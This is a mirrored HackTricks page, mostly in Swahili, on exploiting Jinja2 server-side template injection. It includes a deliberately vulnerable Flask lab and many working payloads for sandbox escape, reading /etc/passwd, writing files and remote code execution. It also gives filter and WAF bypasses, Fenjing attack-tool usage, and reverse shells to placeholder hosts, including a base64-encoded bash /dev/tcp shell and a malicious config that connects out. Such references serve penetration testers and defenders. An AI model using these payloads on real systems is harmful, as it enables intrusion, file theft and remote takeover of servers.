mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
338 lines
15 KiB
Markdown
338 lines
15 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{% hint style="success" %}
|
|
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
|
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Lab**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Misc**
|
|
|
|
### **Debug Statement**
|
|
|
|
Ikiwa Kiendelezi cha Debug kimewezeshwa, lebo ya `debug` itapatikana ili kuonyesha muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona kile kinachopatikana kutumika katika kiolezo bila kuweka debugger.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Tupa kila mabadiliko ya usanidi**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
```
|
|
## **Jinja Injection**
|
|
|
|
Kwanza kabisa, katika Jinja injection unahitaji **kupata njia ya kutoroka kutoka kwenye sandbox** na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji **kuitumia vibaya vitu** ambavyo ni **kutoka** kwenye **mazingira yasiyo ya sandbox lakini yanaweza kupatikana kutoka kwenye sandbox**.
|
|
|
|
### Accessing Global Objects
|
|
|
|
Kwa mfano, katika msimbo `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira yasiyo ya sandbox ya python** na vitakuwa **vinapatikana** ndani ya **mazingira ya sandbox.**\
|
|
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **daima vinapatikana kutoka kwenye mazingira ya sandbox**, hivi ni:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Recovering \<class 'object'>
|
|
|
|
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **`<class 'object'>`** ili kujaribu **kurejesha** **darasa** zilizof定义. Hii ni kwa sababu kutoka kwa kitu hiki tunaweza kuita **`__subclasses__`** mbinu na **kupata** **darasa** zote kutoka kwa mazingira ya python yasiyo na sandbox.
|
|
|
|
Ili kufikia hiyo **darasa la kitu**, unahitaji **kufikia kitu cha darasa** kisha ufikie ama **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada** ya kufikia hii **darasa la kitu** tun **aita** **`__subclasses__()`**.
|
|
|
|
Angalia mifano hii:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**Baada ya kurejesha** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia hizo darasa kusoma na kuandika faili na kutekeleza msimbo.
|
|
|
|
Kuita `__subclasses__` kumetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahia tu kwa kufikia **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa ambalo **linaruhusu kutekeleza amri** (kama `os`).
|
|
|
|
**Soma/Andika faili ya mbali**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
Ili kujifunza kuhusu **madarasa zaidi** ambayo unaweza kutumia ili **kuepuka** unaweza **kuangalia**:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Kuepuka vichujio
|
|
|
|
#### Kuepuka za kawaida
|
|
|
|
Hizi kuepuka zitaturuhusu **kufikia** **sifa** za vitu **bila kutumia herufi fulani**.\
|
|
Tayari tumeona baadhi ya hizi kuepuka katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
```
|
|
* [**Rudi hapa kwa chaguzi zaidi za kufikia kitu cha kimataifa**](jinja2-ssti.md#accessing-global-objects)
|
|
* [**Rudi hapa kwa chaguzi zaidi za kufikia darasa la kitu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
* [**Soma hii kupata RCE bila darasa la kitu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Kuepuka uandishi wa HTML**
|
|
|
|
Kwa default, Flask huandika HTML ndani ya kiolezo kwa sababu za usalama:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**The `safe`** filter inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **HTML encoded**, kama hii:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**RCE kwa kuandika faili mbaya ya usanidi.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Bila herufi kadhaa
|
|
|
|
Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
```
|
|
## Jinja Injection bila **\<class 'object'>**
|
|
|
|
Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
|
|
Ikiwa utaweza kufikia **kazi** yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
|
|
|
|
Unaweza **kupata kazi** kutoka kwa vitu **`request`**, **`config`** na **vitu vingine** vyote vya kimataifa vya kuvutia ambavyo una ufikiaji navyo kwa:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Mara tu unapopata baadhi ya kazi unaweza kurejesha builtins kwa:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF bypass
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruuteforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali ili kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## References
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
* Angalia [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
|
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{% hint style="success" %}
|
|
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Angalia [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Jiunge na** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) au [**telegram group**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|